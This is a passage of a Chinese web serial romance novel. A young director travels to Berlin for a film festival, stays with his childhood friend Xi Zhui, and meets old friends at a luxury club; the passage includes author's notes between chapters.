闻春申将一盘剥好的虾仁递了过去,将自己的关心落在实处,“来,今天这些虾是我托人从南三岛寄过来的,你们母子俩试试。” “好的。” … 晚餐结束,闻潮声回到了自己的卧室,他在电脑桌前落座,却没有着急继续手头的修稿工作,而是将目光投向了一旁—— 书桌边缘,他和席追的合照静静摆放着,边上还搁着对方亲手做的泥塑小人。 自从席追回到德国后,两人就在微信上保持了一定的联系频率。 去年春节假期,席追原本是打算回国过年的,但没料到席锡山老夫妇心血来潮前往了德国。于是,席追只能打消回国计划,和一家人留在了国外过年。 “……” 不知道今年春节,席追会不会回来? 闻潮声拿起已经干透的泥塑小人,很珍惜地看了又看。 ——滋滋滋,滋滋滋! 手机突然响起了接连不断的震动,有一种不达目的誓不罢休的气势。 闻潮声以为出了什么急事,赶紧拿起来查看。 许久没有动静的《轮廓》主创小群里,林可漾转发了一条链接,紧接着就是很激动的好几行文字。 ——啊啊啊啊!人呢!快出来! ——柏林国际电影节的入围名单出来了!我们《轮廓》上了短片竞赛单元和新生代单元!(*) ——人呢!快快快出来! 闻潮声看着这几行字,有些回不过神。 他不可置信地点进了林可漾发来的链接,确实是柏林国际电影节的入围公示名单,而对方所指出的这两个单元,他们《轮廓》的片名赫然在列。 闻潮声慢半拍地确认了真实性,骤然惊喜,“真的,入围了?” 帝京影视学院历年都会给学生作品上报各类国内外的电影节,不求获奖,但求入围,以便刷刷学校的国际影响力和知名度。 去年《轮廓》的后期没能如期完成,无缘报名,没想到今年居然能在众多作品中通过筛选,获得了进一步的入围资格。 群里的孙选和廖奇也已经冒泡,两个人正在一唱一和地吹捧庆祝,就连远在甘南的央金老师也发来了一句“恭喜”。 只有席追还没出现,估计是还在忙。 闻潮声不着急在群里共同庆祝,而是第一时间点开了席追的头像,单独将这个好消息告诉了对方。 “……” 柏林,德国。 闻潮声默念着这两个地标,嘴角忍不住弯了又弯。 太好了! 他们的作品有幸入围了这一届的柏林国际电影节,身为导演的他,终于有正当的理由去见席追了? 大约过了四十分钟,闻潮声才收到了席追的回复。 “刚在午睡,一觉醒来就看见这个好消息了,恭喜啊,闻导。” 他们隔着六个小时的时差。 闻潮声连忙打字回复,“也恭喜你,这是我们大家一起完成的作品。” 这条消息刚发出去,席追意料之外的语音电话就弹了进来。 “……” 来电通讯一振。 闻潮声紧张得连手机都差点没拿稳,他忙喝了一口水,这才强装镇定地接通。 “喂,席追。” 只是一开口,尾音就抖了抖,漏了陷。 电话那头的席追似乎是轻笑了一声,“我打扰到你了?” “没有。” 闻潮声回答很快,主动提及,“刚和乔老师他们确认完了入围电影节的事。” 席追开门见山,“你们要来柏林参加电影节吗?” “嗯,乔良老师说,这次入围单元竞赛的片子都很抗打,我们《轮廓》后续的获奖概率不大。” “不过能入围已经是一种认可了,所以他很支持我们几个学生一块出国参加,开拓一下眼界和人脉。” 至于出国的费用,乔良会尽可能向学校进行申请。 不过,闻潮声和林可漾等人都商量好了—— 身为电影行业的新人,这样入围国际电影节的机会实属难得,哪怕是自掏腰包,他们四个人都要一块去见见世面。 席追问,“你们什么时候出发?” “不出意外的话,应该是下个月中旬,回来时间还没定。”闻潮声如实告知行程,忍不住旁敲侧击,“席追,你今年春节要回国吗?” 电话那头的席追听出暗示,很遗憾地叹了口气,“唉,不巧了。” “前两天才和我爸妈确认过,今年全家都要回国陪老爷子过年,正好和你们撞时间了。” “……” 闻潮声顿时没了话,“哦。” 席追问,“不开心了?” “没有。” 闻潮声口是心非,尽量让自己听上去没那么失望,“本来想着你要是行程上方便,可以和我们一块去参加电影节。” 席追慢悠悠地回,“哦?听上去好像挺不错的,那我就不回国了吧。” “……” 闻潮声觉得自己像是在坐过山车,一下子从最低端又冲回了最高处,他怕理解有误,连忙追问,“这是什么意思啊?” “你说我能是什么意思?”席追笑意明显,给了闻潮声最想要听的答案,“我今年就不跟我爸妈回国了,就在柏林等你们。” “等确认了具体航班落地的时间,告诉我,我到时候去机场接你……们。” “……” 难以言喻的雀跃在闻潮声的心底迅速蔓延、上涌,他又一次追问,“真的吗?” “真的,你们记得抓紧时间办手续,等确认好具体的往返时间和我说,到时候我来安排大家的住宿。” 在柏林,席追算得上半个东道主了。 闻潮声乖乖应下,嘴角的笑意越发明显。 他余光瞥见桌上的泥塑小人,感受着电话那边传来的轻微呼吸,忍不住喊,“席追,下个月见。” “嗯,下个月见,我等你。” …… 日子在期待中总是过得很快。 闻潮声拉着行李一出机场通道口,没一会儿,就透过熙熙攘攘的人群找到了那道熟悉的身影。 席追没有挤在人群中,而是站在了大厅的一处落地窗前。 他穿了一件纯黑色的大衣,随意地裹了一条深灰色的毛绒围巾,头发似乎似乎理短了些,衬得整个人高挺利落。 闻潮声心跳加速,拉着行李箱,快速朝着目标走了过去。 航班到达的播报声响了又响,席追的手上端着一杯封口的热饮,他的眸光漫不经心地扫视着来来往往的旅客。 直到,最想看到的身影闯入了他的视野。 “席追!” 闻潮声穿了一件短款的白色羽绒服,领口微微敞开,隐约露出内搭的浅米色毛衣,都是特意买的新衣服。 整个人如同一团温软的糯米,显得格外柔和。 像是冬雪迎上了春光。 席追眉眼里的冷色瞬间消融,迎了上去,“怎么出来得这么快?其他人呢?” 机场出海关、过安检的效率有点慢,他还以为自己要再等上一会儿。 “我们过海关分了不同队伍,可能我这边要快些,就先出来了。” 闻潮声没好意思说,自己一下飞机就加快了脚步、往前冲,压根没顾得上同行的导师和朋友。 他戴着白色口罩,将脸遮挡了大半,“你等很久了吗?” 不过这次没有佩戴黑框眼镜,而是很大方地露出一双漆黑而明亮的眼睛,含着笑意的眸光动人。 席追少有地怔了怔,才勾唇回答,“没等很久,反正大家都是这个通道口出来,我们再等等他们。” 闻潮声的手暂时松开了行李箱,尝试主动寻找话题,“嗯,不是说柏林冬天的平均温度比帝京要高些吗?我怎么感觉还挺冷呢?” “最近又降温了,是冷些。” 席追看见他被冻得隐隐发红的手指,将早就准备好的热饮递了过去,“来,给你的。” 闻潮声发僵的掌心接触到了最需要的暖意,一如既往地真诚道谢,“谢谢席追。” “不客气。” 席追顺手将自己的围巾解了下来,二话不说套在闻潮声的脖子上,借机拉近了距离,“你过来点。” 闻潮声感受到围巾上残留的气味和暖意,呼吸一紧,“你、你干嘛?” 席追看穿眼前人的紧张,却不戳破,“趁现在有空先系上,免得待会出了机场冻感冒了。” 说话间,他就用围巾将羽绒服领口处的空隙彻底封堵。 “唔。”闻潮声费劲扒拉地扬了扬脑袋,隔着口罩的声音又闷又软,“有点紧了,喘不上气。” 席追顺势摘下他的口罩,“就这样围着,口罩就别戴了。” 失去了口罩的隐形庇护,闻潮声的社恐属性再度发作,顷刻就往厚实的围巾里面缩了缩,“哦。” 席追忍俊不禁,“乌龟。” 闻潮声脸热,却没反驳。 没多久,身后就响起了廖奇的声音,“老孙,他们在这里!” 一行四人走了上来。 “席追,好久不见啊!越来越帅了!” 孙选先和许久未见的席追打了声招呼,然后勾住了闻潮声的肩膀,“你怎么一个人溜得这么快?平时怎么不见你有这个效率?” 眼尖的林可漾立刻察觉出了微妙,“就是啊,哪里变出来的围巾和热饮啊?” 廖奇也跟着“啧”了一声。 面对朋友们齐刷刷的起哄,闻潮声莫名心虚,小眼神不由自主地席追那边晃了晃。 “我买来的。” 席追出声只解释了热饮,转移话题,“只是手上提不了那么多,都放在车上了,你们待会儿可以喝。” 身为导师的乔良这次也同行了。 他对席追这位电影男主的印象很好,笑呵呵地说,“小席,我们这次柏林的行程就辛苦你安排了。” 席追礼貌回复,“乔老师,您客气了,这是我应该做的。” 他极其自然地接过了乔良的行李箱,还不忘带上闻潮声的行李箱,“人都到齐了,那我们先去停车场吧?” 闻潮声愣了两秒,藏在围巾下的嘴角又忍不住弯了起来,感觉捧在手心里的热饮更烫了些。 “好。” “走吧走吧,别说,还真挺冷的。” 一行人在席追的带领下,很快抵达了停车场,黑色的商务车上,一个体型微胖的外国男人迎了下来。 “席先生。” “嗯。” 席追对着乔良等人介绍,“乔老师,这位是莫里茨,是我给你们找的地陪,这段时间你们有任何事情都可以直接找他。” 莫里茨有点黑人混血,但也算精通中文,“各位好,待会儿由我送各位去酒店。” “今天时间不早了,老师,你们长途跋涉应该需要倒倒时差、好好休息。” 席追考虑得很细致,礼节也很周到,“明天中午,我再给你们补办接风宴。” 乔良笑着点头,“那就辛苦你安排了,等行程结束,我再让小闻和你对接费用支持。” 席追回答,“您客气。” 莫里茨很有眼力见,立刻帮忙抬几位的行李箱,“各位,先上车吧,行李交给我。” 闻潮声站在席追的身边,眼看着导师和朋友们依次上车,正打算跟上去—— 忽然间,席追拉住了他的手腕,“这车是五座,没你的位置了。” 闻潮声发愣,“那我坐哪里?” “坐我的车,你跟我走。”席追指了指边上的迈巴赫,抢先一步将行李箱推了过去。 闻潮声不疑有他,“哦,好的。” 两辆车一前一后地驶离机场。 等上了高架,闻潮声才想起来给国内的宋雪兰打电话、报平安,等他再抬眼时,开在前面的商务车就不见了踪影。 闻潮声只当大家最终的酒店目的地都一样,没有多想,直到半个小时后,席追将车子开进了一片复式洋房的住宅区。 闻潮声才意识到不对劲,“席追,没开错吗?我们订的酒店在这里吗?” “没开错,我爸妈在这边买了房子。” 席追将车开进自家地库,早有预谋地对着闻潮声投下一枚重磅炸弹。 “你今晚住我家。”—— 作者有话说:一见面就拐回家[墨镜] 本章评论随机红包哦!感谢小可爱们对于正版的支持!—— (*)本文架空,套用了国外地名和电影节,部分奖项有改动,请勿代入。 第24章 【第024章·旧心动】 “呜,没脸见…… “……” 什么?住哪里? 闻潮声被这突如其来的提议砸得脑袋发懵, 慢了好几秒才开口,“不、不太合适吧?我和孙选他们一块住、住酒店就行了。” 席追解开安全带,反问, “这有什么不合适的?” 闻潮声答不上来, 就是觉得有点奇怪。 “我妈早就从宋姨那边知道你要来德国,回国前她还特意叮嘱我,让我留在这里多照顾你。” 席追先是搬出了双方的妈妈, 旋即反问,“怎么?我们不是朋友吗?” 闻潮声哼唧,“是朋友,但……” “照野、逢一也经常住我家。”席追又搬出了同龄朋友举例子,眉梢轻挑, “还有什么问题吗?” “没有。” 闻潮声的思绪被带着跑,呆呆地眨了一下眼,“你说得好像很对。” 再拒绝下去,恐怕就会显得很不对劲了。 席追不再给眼前人任何反驳的机会, 率先下了车,“那就走吧,我给你拿行李。” 闻潮声完败,“哦。” … 等到跟着席追进了家中客厅,闻潮声还在恍惚。 席追将全新的拖鞋递给他,“今晚就不外出了, 简单给你做点意面, 吃吗?” 闻潮声有些惊讶,“你下厨?” “不然呢?”席追习惯了闻潮声时不时冒出的傻问题,笑问,“哪有你来我家、还要让你下厨的道理?” “不喜欢吃意面的话, 冰箱里还有半成品的披萨,我可以烤一下。” 闻潮声一想到能够吃到席追做的晚餐,眸光都亮了几分,“我都行的,我不挑食。” 席追笑,“那就意面?” 席追脱掉外套,随手搁在餐厅椅背上,又将内衬的衣袖往上一折,露出强有劲的手腕。 闻潮声的目光不由多停留了两秒,才挪开,“我给你打下手?” “不用,等着吃就行。”席追用眼神示意他往里面走,“屋里开了暖气,一楼就有浴室,你可以先简单冲个澡、换身衣服。” 这番话说得利落又明确,像是早就妥当安排好了一切。 闻潮声是个名副其实的厨艺小白,只好微笑应下,“那好吧。” … 晚餐是牛肉香菇酱的意面,味道很不错。 为了不辜负席追的好意,向来胃口不大的闻潮声吃了个干干净净,连奶油蘑菇汤都没放过。 席追看着见了底的餐盘,难得体会到了给人做饭的满足感,“好吃吗?” 闻潮声还有些意犹未尽,忙不迭地认可,“嗯,很好吃的。” 席追笑了声,“那明早再给你做别的。” 闻潮声立刻期待起了明天早上,已经将进家前的那点犹豫抛之脑后。 他看着桌上的餐具,很有礼貌地表示,“我来洗碗吧?” “不用,有洗碗机,待会儿再处理。”席追并不想让他干这些家务活,“走吧,我先带你上楼。” 洋房一楼的客卧留给了住家保姆,昨天,席追刚给她放了小半个月的长假,这会儿不在家。 二楼的空间隔出了两间超大的卧室,楼梯左边是席氏夫妇的主卧,因为夫妻两人回了国,这会儿正锁着门,而楼梯右边是席追的卧室。 席追领着闻潮声进了房间,“今晚睡我房间,没意见吧?” 闻潮声早有准备地应了下来,“好的。” 两人在甘南的时候睡过同一张床,他有经验了,反正只要各盖各的被子就行。 哪知下一秒,席追就补了一句,“我没在家里找到多余的被芯,但床单和被套都是新换过的,今晚只能盖同一条被子,能接受吗?” “……” 闻潮声觉得自己的心理准备还是做少了。 没等他想好怎么回,席追就先退了一步,“如果你觉得不自在,这床被子留给你单独用,反正屋里有暖气,我可以不盖。” “……” 那怎么能行? 万一睡感冒了怎么办? 闻潮声根本没意识到自己中了席追的圈套,正一步步地往“坑”里掉。 他瞥了一眼还算厚实宽敞的被子,满脑子只想着对方晚上不能受冻,“我没关系的,我们一起盖就行了。” 乌龟自个儿爬进坑。 是意料之内的乖巧回答。 席追眸底露出一丝“得逞”的愉悦,转瞬即逝,“那好,屋内浴室留给你刷牙洗脸,我去楼下浴室冲澡,顺带收拾一下碗筷。” “好的。” 夜深,窗外又落起了小雨。 闻潮声到家那会儿已经洗过澡了,所以只是简单地再洗漱了一下,他看着整洁宽敞的床铺,一时没敢先占据床位。 席追还在楼下,没上来。 趁着这点时间,闻潮声饶有兴致地打量起了房间的布局—— 总体的面积很大,左边是主卧和浴室,中间是办公兼顾休闲区。 屋内最右边的角落还有一个升降的小步梯,应该是可以直达三楼的小阁楼。 闻潮声扫了一圈,目光忽然定格在书桌上。 桌高一阶的展示架上,摆放着三张尺寸不同的合照—— 第一张是席追和父母的合照,看起来像是高中毕业那会儿拍的。 第二张是席追、沈照野以及夏逢一的合照,三人背着各自的登山装备,估计是某一场徒步之后的留念。 第三张照片,闻潮声最眼熟,是属于他们两人的《轮廓》杀青照。 最意外之外的是,合照边上还摆放着一辆并不符合席追这个年龄的玩具赛车,看上去有些年头了。 “……” 藏在脑海深处的记忆翻涌,清晰又模糊。 闻潮声的脸上刚晃过一丝不确定,门口就传回了脚步声。 洗漱完的席追走了进来,“在看什么?” 闻潮声隔着距离和他对上目光,指尖小幅度地指了指,“这赛车是……” 席追顺着他的目光看去,直接承认,“就是你小时候送我的那辆。” 闻潮声得到明确的答案,雀跃的同时又有些意外,“你怎么还留着啊?” 席追看着他,意有所指,“因为喜欢。” 简单四个字,却足以延伸出无数种注解。 是喜欢赛车本身? 可这样的儿童玩具花钱就能买上许多,并不足以收藏。 闻潮声的心跳瞬间被撞乱了节奏,张了张口,却怕自己追问出奇怪的话。 他不由避开了席追的视线,胡乱地指了一下最右边的升降梯,“那个上面是小阁楼吗?” 席追看穿他在转移话题,却很配合,“嗯,被我简单改造成了健身房,要上去看看吗?” “太晚了,我就不上去了。”闻潮声收回视线,摇头,“我之前也特别想要一个小阁楼。” 席追问,“想要什么样的?” “嗯,面积不需要很大,能用来放我的剧本、我的电脑、我的工作台就够了。” 闻潮声真的是有过设想的,还很具体,“但天窗一定要特别大的,白天能晒得进阳光,晚上要能看得到夜空。” 这样每次写剧本写累了,他就可以抬头看看天、看看云、看看星空。 只可惜,闻潮声还没有能力靠自己买房子。 闻家在现住的这套房子,也没有阁楼可以满足他的小小心愿。 席追眸光微闪,“总有一天会实现的。” 闻潮声只当对方是在鼓舞自己,忍不住地扬了扬唇,“嗯,到时候装修完了,我请你来家里暖房做客。” “……” 只是做客?怕是不够吧。 席追笑了笑,却没深入这个话题,而是走回了床边,“不早了,休息吧,今晚还是和甘南那会儿一样?我睡左边,你睡右边?” “哦,好的。” 想到两人即将同盖一床被子入睡,稍有不慎便可能发生肢体接触—— 闻潮声内心深处的紧张如同潮水般涌动,他快速钻进了被窝,还很刻意地将视线瞥到了另外一边,尽量不泄露自己的慌乱。 席追瞧见他“此地无银三百两”的小动作,忍俊不禁,“我关灯了?” 闻潮声只留给他一个侧脸,“好的。” 席追正准备关闭电源开关,余光瞥见了边上的暖气按键,他的指尖一顿,然后极其迅速地将暖气的温度等级往下调节了一个度。 啪嗒。 卧室内一下子就暗了下来。 很快地,闻潮声就感受到边上传来的动静,越发躺得笔直,一动不敢动。 席追侧过身,在昏暗中准确捕捉了他柔软的侧脸,“你这样僵着,能睡着?” 闻潮声应得很心虚,“能的。” 席追又问,“这么久没见了,睡前不打算和我聊聊天?” “我……” 闻潮声欲言又止。 席追主动往他这边挪了挪,却还是控制住了距离和分寸,明知故问,“这一年半,都在忙什么?” 闻潮声感受到热源的贴近,有些期待,又有些不知所措,他没忍住用余光去看边上的席追,“就忙着电影那些事,都在微信上和你说过的。” 分开的这段时间时间,两人保持着一定的聊天频率,虽然算不上频繁,但也足够把握彼此的动态。 席追偏偏还要问,“所以只忙了电影,没有再忙其他的?” 闻潮声没太听明白,下意识地偏头看向他,“忙其他的什么?” 席追对上他的目光,意有所指,“就比如,谈恋爱了吗?有喜欢的人了吗?” “……” 闻潮声没想到席追会突然发问这个,呼吸错了节拍,过了好一会儿,他才腼腆地否认,“没有,我、我没有谈恋爱。” 至于后一个问题,因为心虚而故意略过了。 屋内的暖气减弱了些,空气中悄然弥漫着一丝不易察觉的凉意,闻潮声往被窝里又钻了钻,生怕自己那点难以启齿的心思在暴露在对方面前。 哪知席追的目光却不依不饶,问题一个比一个直接,“那有想我吗?” “……” 思绪瞬间潮涌。 闻潮声突然回想起了一年半以前,席追在人来人往的机场里对着他说: “哥哥,我会想你的,你也要记得想我。” 那时的闻潮声辗转反侧了一个多星期,始终想不明白对方为什么会突然说出这番话、提出这个要求? 他甚至还暗戳戳地上网搜索了一下,这才勉强得出一个还算合理的答案: 大概是因为席追常年生活在国外,对于“朋友”之间的情感表达比较开放。 “闻潮声。” 眼前人的走神太过明显,席追连名带姓地喊了一声,他抬起手,隔着被子拍了拍闻潮声的腰腹。 “转过来,看着我。” “……” 明明落下来的力道不重,可闻潮声还是敏感地瑟缩了一下。 他小心翼翼地控制着自己呼吸的频率,听话地将目光落在席追的脸上,却在视线接触的刹那害羞躲开,“嗯?” “所以。”席追微微前倾,锲而不舍地问他,“你有想我吗?” 上扬的尾调如同带了钩子,勾得闻潮声的一颗心摇来荡去。 他始终没有撒谎的天赋,也不敢去思考自己的答案会带来什么样的后果,只是诚实而慌张地说,“有、有点、想的。” 简单几个字,被他说得磕磕绊绊。 席追笑了一声,靠近他,连鼻尖都快抵到一起了,“只是有点?” 暧昧呼之欲出。 以至于闻潮声的大脑彻底宕机了。 他急促地眨了好几下睫毛,猛地转身背对了席追,“我困了,要睡觉了,晚安!” 鼻尖的那点温热没等升温,就已经稍纵即逝。 席追盯着闻潮声毛茸茸的后脑勺,颇为遗憾地想着:看来乌龟也不能这么钓,万一惹急了,逃跑的速度也是挺快的。 他微微起身,“真睡了?” 闻潮声不说话,很娴熟地当哑巴装睡。 席追盯着对方在昏暗里红透了的耳朵,眼里笑意明显,偏偏贴近耳语,“晚安,我也有点……” 他学着闻潮声刚才的回答,语气里却多了一丝撩拨,“想你的。” 可能,远不止一点。 …… 闻潮声不知道自己是什么时候睡着的,但睡前的那种悸动和暧昧悄然入了梦。 他梦见和席追在甘南无数个同床而眠的夜晚,梦见两人同骑一匹马疾驰在草原上,更梦见对方摩挲着他的后颈、喊他哥哥,甚至还吻了他。 情动在梦境里散了一地,连同彼此身体传递的热意都很真实。 天光透过窗帘的缝隙,好巧不巧地落在闻潮声的脸上。 晒久了,有点烫。 半梦半醒的闻潮声想要赖床,一如既往地往自己觉得“安全”的地方蹭了蹭,但他很快就发现了不对劲。 “……” “……” 几乎是同一时间,床上的两个人都睁了眼。 眼里的困意尚未褪去,但又同时被另外一种不可言说的微妙所取代。 闻潮声没想到他和席追居然是抱着睡觉的,顿时红着脸嗫嚅,“你……我……” 昨晚房间里的暖气被刻意调低了一个度,睡梦中的闻潮声自然而然地就靠近了身边的热源。 这会儿,某种不对劲越来越明显,闻潮声慌张不安地动了动。 “闻潮声!” 席追下意识地制止,埋头抵住他的肩膀上,艰难又克制地深吸了一口气,“你先别乱动。” 温热的气息在脖颈上流连,如同电流过境,闻潮声瞬间僵住了身体,就连大气也不敢喘。 过了两三秒,席追这才微微向后挪出点距离,语气里藏着一丝少有的隐忍,“我去趟洗手间。” 闻潮声含糊地应了一声,浑身上下都快冒汗了。 眼看着席追下了床,踩着拖鞋一言不发地开门、头也不回地下了楼,闻潮声才一骨碌地爬坐起来,掀开了身上的被子。 被窝里积攒了一个晚上的热意冒了出来。 闻潮声低头看了看略微有些冲动的自己,又想起刚才和席追那只可意会不可言传的接触—— 一秒,两秒,三秒。 反应过来的闻潮声猛地拉起被子,将自己连头到脚藏了个严严实实,彻底当了一回缩头乌龟。 “呜。” 怎么会这样。 他要没脸见人了—— 作者有话说:乌龟宝宝:[爆哭][黄心] 追哥:[黄心][裤子][减一]—— 感谢小可爱们的支持,本章评论随机红包!明天要上千字夹子,更新时间在晚上(可能会迟一点哦) 第25章 【第025章·旧心动】 “hi,cu…… 眼看着时间快到九点半, 拖得不能再拖的闻潮声才跟乌龟似地挪出了卧室。 刚下楼梯,他就看见席追端着早餐从厨房出来,像是与生俱来的默契—— 即便两个人谁也没出声, 但还是轻易地对上了视线。 闻潮声花了好长时间才压下去的羞涩情绪, 瞬间功亏一篑,耳根子被热意驱使着发红。 “洗漱好了就过来吃早餐,我简单弄了点培根三明治。” 席追已经换上了常服, 脸色再没有一丝早起时的异样,“你是要喝咖啡、果汁还是牛奶?” 闻潮声暗吸一口气,随口回答,“要牛奶。” “牛奶?” 席追像是顿了一秒,才接话, “好的,我去给你加热。” 闻潮声盯着席追重新进了厨房的身影,暗中给自己打气—— 没关系的! 不过就是每个男生都会经历的、特别正常的早起情况,那只是不可控的一点意外! 既然席追能够翻篇不提, 他也可以装作什么都没有发生! 闻潮声给自己做足了心理暗示,才走到了餐桌前,坐了下来。 牛奶热得很快。 席追端着热饮从厨房出来时,发现闻潮声正眼巴巴地盯着他看,桌上的三明治还没有开动的迹象。 他将牛奶递了过去,“怎么不吃?是不喜欢?” “没有不喜欢。”闻潮声双手捧过温度正好的牛奶, 姿势显得很乖, “我在等你一块儿吃早餐。” “……” 简单一句话,轻轻巧巧地戳在席追的心坎上。 他没有选择坐在对面,而是直接坐到了闻潮声的身边,肩挨着肩, “快吃吧,等下凉了就不好吃了。” “嗯。” 闻潮声已经习惯了这样过分亲昵的“社交距离”,没察觉到不对劲。 他咬了一口三明治,才说,“你有看见吗?刚刚孙选在群里发消息了,问我们几点钟集合?” 席追的手机还在楼上,拿下来。 他想起自己早起时那会儿的过分冲动,闷咳了一声,佯装若无其事地喝起咖啡,“十点半集合吧,我待会儿回他。” “好的。” 闻潮声吃饭时总是很安静,而且能不浪费就不浪费。 席追看着他将完整的一块三明治吃完,才出声,“对了,逢一知道你要来柏林。” “他上周就和我提过,想要找时间和你聚聚,再加上照野一块儿攒个局。” 席追深知闻潮声的脾性,将决定权交到对方手里,“你想不想见?” “嗯?”闻潮声很意外,“他们不忙吗?” “照野的工作室本部就在柏林,最近才忙完一个秀展,应该是在休假,逢一还在慕尼黑读医,不过周末过来很方便。” 席追对两位发小的生活动向了如指掌,“你要是愿意见见,我到时候就找他们对时间,应该能赶在你们回国前碰上一面。” 闻潮声回到帝京读书后,曾和夏逢一做过几年的同校同学,对方是个乐观小太阳,以往在学校时就挺照顾他的。 这一晃眼,两人已经快五年没再见过了。 想到这儿,闻潮声难得没拒绝,“好的。” … 柏林国际电影节分为好几个竞赛单元,会进行为期两周的展映和颁奖活动,《轮廓》入围的单元评比在后半程,闻潮声他们抵达时,电影节已经开始一周了。 不过,结果和乔良预料得差不多—— 他们团队的《轮廓》只获得了提名,没能在一众优秀作品里直接杀出重围。 但对于刚毕业的电影新人来说,能够入围就已经是莫大的认可和鼓舞了,闻潮声和林可漾等人都没气馁,而是抓住这次宝贵的机会观展了很多优秀作品。 在电影节间隙,他们顺带将柏林大大小小的地标都逛了一遍。 电影节的闭幕式定在二十二号,而席追和好友们攒的局也定在了同天晚上。 双境作为柏林圈层最顶奢的富豪会所,从不对外人开放,它隐匿在高楼之内,靠着富人之间的相互引荐才能入内消费。 即便如此,每晚的包厢也都是预定拉满的状态 ,会所内没有明确的指示牌,走廊设计得有些复杂。 引路的侍者带着他们往里走,毕恭毕敬地推开包厢门,“各位,这边就是你们提前预定的包厢,里面请——” 特质的木门一经推开,就呈现出了另外一个世界。 黑钛镜面铺成的地面一路延伸,直达正前方的威士忌墙,前面是半围合的沙发卡座,用来喝酒。 左右两侧是无死角的高层落地窗,一边是精致的用餐区,一边是各类看着就贵到离谱的娱乐区。 还没进去,空气里特调的香调就散发了出来,是上流圈层才会有的纸醉金迷的味道。 “我靠。” 孙选低声惊叹,扯了扯廖奇的胳膊,“这下真是跟着席少见世面了,找了这么一个地方给我们庆功啊?” 廖奇啧啧称奇,只有开了眼界的兴奋感,“我待会儿非得来个十张八张的自拍,加个定位在朋友圈炫耀一下。” 林可漾笑了声,“瞧你们这点出息。” 他们的导师乔良在柏林有老友,今晚赴约去了,让他们几个年轻人好好玩。 闻潮声听见好友们的讨论,心里也有些震惊。 他原本以为就是找一家环境好点的餐厅、简单聚聚呢,没想到一上来就是这阵仗。 这一晚上得花不少钱吧?也不知道自己钱包里的余额待会儿请客结账? 闻潮声正在心里悄咪咪地犯嘀咕,下一秒,一位身形高大的年轻男人就从沙发卡座上站了起来。 “你们总算来了。” “……” 灯光下,对方混血的面容显得格外冷峻而深邃,往那一站就显得气场矜贵。 闻潮声只用了一秒就确定了对方的身份。 然后,他就从席追的招呼声中有了明确了答案,“照野。” 沈照野走了上来,也不和席追浪费时间客套,而是看向许久未见的闻潮声,“好久不见,还记得我吗?” “嗯。” 闻潮声微微颔首,其实心里是有些“许久未见”的陌生感。 尽管都是小时候就认识的朋友,但沈照野和席追给他的感觉截然不同—— 沈照野身上散发着一种与他们这个年龄不相符的成熟,如今比小时候还要严肃板正,甚至给了他一点儿“生人勿进”的冷硬错觉。 席追对着孙选等人介绍,“这位是沈照野,我发小,现在算是一位蛮有名的珠宝设计师。” 林可漾第一眼就认出了经常在时尚杂志上常被提及的沈照野,压住心头感叹,“蛮有名?你们真是太谦虚了。” 妈呀! 这可是时尚界请都请不动的大人物!有钱人的人脉圈层果然是一个比一个牛! 沈照野任由林可漾不算冒犯的打量,喊了一声,“朱莉。” “诶,老大。”吧台边上,一位华裔的女孩子扬着笑容就走了上来,“来了。” 沈照野用眼神双向示意她们,绅士又体贴,“我听席追说,你们这边就林小姐一个女孩子,所以今晚特意邀请了我的助理过来,希望你们俩能够相处愉快。” 朱莉微笑招呼,“你好,林小姐。” 林可漾看了一眼长相漂亮的朱莉,“你好啊。” 朱莉是个自来熟,上来就夸,“你这头发卷得真好看!” 林可漾接话,“谢谢,你的口红色号也很漂亮。” “……” 席追的目光扫向后面已经目瞪口呆的孙选和廖奇,出声提醒,“要不,你们四个人先点晚餐?” 这俩都是心大的,完全没有因为所谓的“差距”而不自在,反而一听见吃的就来劲了,“OK!” “大吃特吃!” … 闻潮声跟着席追留在了卡座区域。 他向来是个话少的,和沈照野之间的关系又不算熟,想了半天才问,“逢一呢?他今晚不来了吗?” “来的,刚说路上有点堵车,估计也快到了。”沈照野简单解释,拿起已经醒好的白葡萄酒,“你们喝吗?” “我可以。” 席追看了一眼闻潮声,脑海中忽地浮现了对方醉酒后的模样,代替做主,“他喝不了,待会儿让侍者弄点果汁就行。” “……” 喝果汁。 听着怎么这么像小朋友的口味。 闻潮声的思绪飘了飘,却没出声反驳席追的提议,“嗯。” 席追偏头问他,“你想喝什么果汁?” 闻潮声认真想了想,“芒果的,可以吗?” 席追笑,“当然可以。” “……” 沈照野意外地插不上话。 他暗含探究的目光在两人的脸上扫过,轻易窥探出了一丝端倪,却没点破。 酒液漂亮地流入酒杯中,递了过去。 没等两人开喝,一道极其张扬的声音就响了起来,“铛铛铛,我来啦!” 紧闭的包厢门重新打开,一颗染着粉色头发的脑袋探了进来。 “……” “……” 包厢内的视线无一例外地集中了过去。 夏逢一大摇大摆地走了进来,坦然地接收着众人的目光洗礼,他自顾自地环视了一圈,在看清席追身边的闻潮声后,一个箭步冲了上去。 “潮声!好久不见,想我了没有?!” “唔!” 闻潮声毫无防备地迎来了夏逢一的熊抱,重心骤然后移,整个人在电光火石之间便被对方压倒在了沙发上。 偏偏夏逢一不觉得这个姿势暧昧,上手就揉起了闻潮声的卷毛,话唠属性一触即发,“哎呀!还是好软!真羡慕你的发质!怎么保养的?” 席追眸光微变,第一次想要“手刃”自己这活泼过度的发小。 闻潮声被压得有点呼吸不上来,红着脸推了推,“逢一,你先、起来。” 坐在边上的席追直接起身,一言不发地揪住了发小的卫衣帽子,毫不留情地顺势往上一提,“起开。” “呃呃呃——勒我脖子了——” 夏逢一被迫从沙发上离开,反手甩开席追的禁锢,“干嘛啊你,还不允许我对潮声表达我的热情了?” 席追盯着他的粉毛,有点好笑,“你什么时候染的?上个月见面不还是正常发色?” “上周日刚染的。”夏逢一很得意自己新造型,炫耀,“怎么样?不错吧?” 席追点评,“毫无医学生形象。” 沈照野点了点头。 夏逢一不服气,“你懂什么?你们懂什么?我昨天去儿科当义工,那些小朋友都可喜欢我了!” 他重新坐到闻潮声的边上,勾住他的肩膀,“来,我们大导演评价一下——” 闻潮声盯着夏逢一看,“嗯?” “潮声,我这造型好看吧?我这张脸是不是也能拍个电影什么?” 夏逢一瞥了一眼席追,很有自信,“肯定比席追更适合当你的电影男主角?” 席追嗤笑,“我看你学医学疯了。” 他看向沈照野,指了指夏逢一的脑子,无声吐槽:有问题。 沈照野很有默契地用食指比了个问号,沉默点头:同意。 “……” 面对好友们的攻击,夏逢一习以为常地比起一个中指,微笑回击: 两个bking,装什么装。 闻潮声全程目睹了三个人的互动,没忍住,轻笑了一声,“我觉得逢一的发色很有个性,很适合。” 